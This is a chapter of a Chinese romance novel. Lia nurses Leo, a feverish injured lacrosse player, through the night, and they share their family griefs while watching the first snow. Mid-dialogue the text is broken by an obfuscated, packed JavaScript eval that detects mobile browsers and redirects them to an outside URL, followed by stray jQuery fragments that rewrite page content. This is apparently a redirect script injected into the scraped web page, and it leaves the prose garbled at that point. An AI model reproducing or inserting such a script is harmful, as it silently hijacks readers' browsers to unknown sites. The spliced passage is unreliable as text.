莉娅轻轻把船缆系在一块凸起的树根上，涉过浅水，走到岸边。


    她的动作不小，踩在落叶和碎石上发出沙沙声响，但利奥没有任何反应，依旧维持着那个姿势，仿佛与大地融为了一体。


    她理了理被风吹乱的裙摆，挨着他身边的草地坐了下来，与他保持着一点距离，却没有刻意隐藏自己的存在。她没有立刻说话，只是和他一起听着风吹过树梢的呜咽，听着近处河水的潺潺声，听着归巢鸟儿的最后几声啼叫。


    天色渐渐暗下来，星星开始一颗接一颗地在深邃的夜空中亮起，越来越多，越来越密。秋夜的凉意渗透过来，莉娅忍不住抱了抱胳膊，搓了搓有些发冷的手臂。


    这时，身边的人才终于有了动静。


    利奥缓缓地把搭在额头上的手臂移开，睁开了眼睛。他的眼睛在星光下显得很亮。他坐起身，动作有些迟缓，没有看莉娅，只是望着波光粼粼的河面。


    “回去吧。”利奥的声音沙哑，带着刚醒来的困倦。


    他站起身，拍了拍裤子上的草屑，准备离开。


    “利奥。”莉娅叫住了他。


    他停下脚步，半转过身。


    莉娅也站起身，她看着他的背影，看着他那条被绷带包裹的手臂，想起陈列馆里那张照片上他勉强的笑容，想起教练那句“你的前途还要不要了”，想起酒馆里人们为胜利的欢呼。


    所有的一切，最终凝聚成一句清晰的诘问：


    “这就是你想要的结果吗？”


    她的声音不高。


    利奥原地站了一会儿，然后慢慢地又坐回了那棵巨大的山核桃树下，与莉娅之间隔着一段礼貌的距离。


    他没有看她，目光投向黑暗中泛着微光的河面。


    “我没有多喜欢曲棍球，”他重复了那句如今莉娅已熟知的话，但这次后面跟着的是漫长而具体的岁月，“我只是擅长。”


    利奥从六岁那年被父亲第一次带到霍奇斯教练面前开始，每天清晨当其他孩子还在温暖的被窝里酣睡，他就要起床迎着橡林镇刺骨的晨雾或酷暑，去球场上奔跑、挥杆、承受教练严厉的训斥。


    汗水浸透衣服，泥土沾满脸颊，激烈的对抗中磕碰淤青是家常便饭，扭伤摔跤更是司空见惯。


    他不喜欢那种筋疲力尽的感觉，不喜欢身上总是隐隐作痛，更不喜欢必须赢的压力。


    “但擅长一件事……是有一种奇怪的胜任感的。”他低声说，“当球在你手里，所有人都看着你，期待你能做点什么的时候……你会觉得辜负这种期待，就好像辜负了自己与生俱来的某种东西。”


    那种感觉与其说是热爱，不如说是一种责任感。


    父亲去世后家里的顶梁柱塌了，母亲强忍悲痛依旧把家里收拾得一尘不染，院子里的玫瑰依旧开得热烈。


    他的两个姐姐那时也还是半大的孩子，突然之间被迫长大了，她们依旧吵吵嚷嚷，但会下意识地避开关于父亲的话题。


    “曲棍球成了唯一一件还能把我们家聚在一起的事情。”


    他的每一场比赛，母亲和姐姐们都会到场，风雨无阻。


    一次，他们赢了一支强队，对方有个球员不服气，在冲突中恶意地喊：“神气什么，没爹教的东西。”


    他话音未落，利奥那两个平日里看起来只是聒噪的姐姐，像两只被激怒的母狮，一左一右冲了上去用连珠炮似的、夹杂着本地俚语的犀利言辞，把那个挑衅者骂得面红耳赤，差点哭出来，最后被队友死死拉走。


    那一刻利奥站在场上，只是认真地看了很久，没有说话。


    他不喜欢曲棍球，但这项运动阴差阳错地成了维系这个破碎家庭的纽带，是他们在失去后还能共同面对外界的一种方式。


    “这次受伤……也许是一种解脱。”


    他终于说出了这句压在心底最深的话。


    手臂的剧痛和可能终结的运动生涯，像一道裂缝让他看到了从那条“被期待”的路上逃开的可能性。


    尽管这解脱伴随着巨大的迷茫和负罪感。


    他说了很久，断断续续，直到声音越来越低。


    莉娅起初沉浸在他的叙述里，但渐渐地，她察觉到不对劲。


    利奥他在发高烧。


    “利奥。”莉娅的心猛地一沉。


    伤后感染，加上身心俱疲，这高烧来势汹汹。


    利奥似乎想说什么，但只是含糊地咕哝了一声，身体晃了晃几乎要瘫软下去。


    莉娅当机立断，必须立刻带他回去：“能走吗，我们得回船上。”


    她用力撑起他，利奥凭借残存的意识，勉强跟着她踉跄地走向岸边的小船。


    莉娅把他安置在狭小的船舱里，夜里的河水漆黑一片，她的心怦怦直跳，只有一个念头：


    快点，再快点。


    靠岸后莉娅几乎是半背半扶地把利奥弄回了家。


    利奥家一片漆黑，他母亲这天刚好去看望两个姐姐，原本计划不回来住。


    莉娅喘着气，从利奥口袋摸出钥匙，打开了门。


    搀扶着他跌跌撞撞地走上二楼，进入他的房间。莉娅摸索着打开台灯，昏黄的灯光照亮了这个属于少年的私人空间。


    墙上贴着几张泛白的长曲棍球明星海报，书架上摆着几座大大小小的奖杯和奖牌蒙着一层薄灰。书桌上方挂着一幅家庭合影，照片上的利奥年纪更小，站在父母和姐姐中间，笑得无忧无虑。


    床头柜上，散落着几本体育杂志和止疼药的空瓶。


    莉娅把利奥安顿在床上，他几乎立刻陷入昏睡，额头烫得吓人。她想去打电话通知他母亲，却被利奥滚烫的手下意识地抓住手腕，嘴里含糊地念着：“别……别告诉她，没事……”


    看着他烧得通红却固执的脸，莉娅妥协了。


    她找到药箱，用冷水浸湿毛巾敷在他额头上，又费力地喂他吃下退烧药。然后她轻手轻脚地下楼，在厨房里找到了简单的食材，熬上了一锅清淡的粥。


    做完这一切疲惫感袭来，莉娅从利奥的书房拿了一本看起来很久没人动过的书，回到一楼客厅，她窝在沙发上一边留意楼上的动静，一边漫无目的地翻着书页。


    窗外的世界寂静无声，只有屋子里挂钟的滴答声和利奥偶尔因为不适发出的微弱呻吟。


    等着等着，极度的困倦让她再也支撑不住，倚在沙发扶手上，沉沉睡去。


    *


    莉娅是被窗外细微的光线变化和身上轻微的触感惊醒的。她迷迷糊糊地睁开眼，发现自己身上不知何时多了一条柔软的羊毛毯。


    猛地坐起身，看向窗外，天已蒙蒙亮。


    楼梯传来轻微的脚步声，她抬头看见利奥站在楼梯口。他换上了干净的睡衣，头发还有些湿漉漉的，像是刚用冷水擦过脸。


    脸色虽然依旧苍白，但那种不正常的潮红已经褪去，眼神也清明了许多。


    “你醒了，”莉娅的声音带着刚睡醒的沙哑，“烧退了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790941|190583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗？”


    “嗯，退了。”


    利奥的声音也有些哑，他走下楼梯，脚步还有些虚浮。他没有看莉娅，而是径直走到客厅那面巨大的落地窗前。


    这是这栋老房子最好的景致，窗外是逐渐开阔的湖岸和树林。


    他伸出手，哗啦一声，拉开了厚重的窗帘。


    刹那间一个银装素裹的世界撞入眼帘，窗外细密的、无声的雪花正纷纷扬扬地飘落，地上、树上、湖岸边，已经覆盖了一层薄薄的、洁白的新雪。


    这是今年的第一场雪，静默而突然，将秋日的最后一丝痕迹彻底抹去。


    湖面泛着铅灰色的光，对岸的树林在雪中显得朦胧而静谧。整个世界的喧嚣都被这柔软的白色吸收了，只剩下一种浩大而纯净的安宁。


    “下雪了。”利奥轻声说，似乎也有些意外。


    莉娅也走到窗边，和他并肩站着，看着这静谧的雪景。寒意透过玻璃传来，她下意识地抱了抱胳膊。


    利奥转身走到沙发边，拿起那条羊毛毯，然后又走回来，将莉娅裹在了里面。


    他们并肩坐在落地窗前，共享着这条毯子的温暖。他的手垂在身侧，离她的手很近，近到几乎能感受到对方皮肤散发的微热。


    粥的香气还在空气中隐隐飘荡，莉娅想起灶上还温着的粥，轻声说：“我去把粥端来。”


    她很快端来两碗热气腾腾的粥，递了一碗给利奥。两人就在窗前，看着雪，默默地喝着粥。


    温暖的粥滑过喉咙，驱散了最后的寒意和疲惫。


    屋子里很安静，只有喝粥的细微声响和窗外落雪的静默。


    过了好一会儿，莉娅望着窗外被白雪覆盖的湖岸，忽然开口，声音很轻：“我其实知道……我母亲可能已经去世了。”


    利奥喝粥的动作顿住了，转头看向她。


    莉娅的侧脸在雪光的映衬下，平静得近乎透明。


    “有一天以后每一周寄来的信，笔迹都不同。”她继续说，“可能是俱乐部那群人轮流写的，内容也差不多……都是鼓励的话，说她很好，只是工作很忙。”


    她停顿了一下，轻轻搅动着碗里的粥，“但我还是假装不知道，每周等信，然后回信，告诉她我很好，橡林镇很好。”


    她说出来了。


    这个她独自保守了很久的、关于离别的秘密，在这个初雪的清晨，在这个刚刚经历高烧和袒露心事的男孩身边，自然而然地流淌了出来。


    利奥沉默地听着，然后他垂下眼帘，长长的睫毛在苍白的脸上投下淡淡的阴影。


    他没有说任何安慰的话，比如“节哀”或者“会好的”。他只是把粥碗放在旁边的窗台上，然后用那只没有受伤的右手，将共享的毛毯又往莉娅那边拢了拢，让彼此靠得更近些。


    他们的手臂紧紧相依，手背在毯子的遮掩下，偶尔轻轻碰触。


    窗外的雪静静地下着，屋内温暖而安宁。


    过了很久利奥才低声说，声音轻得像雪落：“我们是一样的。”


    在这个被冰雪覆盖的寂静早晨，在这扇可以望见整个湖光的落地窗前，他们两个在寒冷的世界里偶然找到了可以相互依偎、汲取一点点温暖的同类。


    莉娅没有说话，只是微微侧过头，将额头轻轻抵在冰冷的玻璃上，感受着窗外冰雪的凉意，和身边那人传来的温暖。


    雪还在下，仿佛要将整个橡林镇，连同它的秘密、它的荣耀、它的伤痛，都温柔地掩盖起来。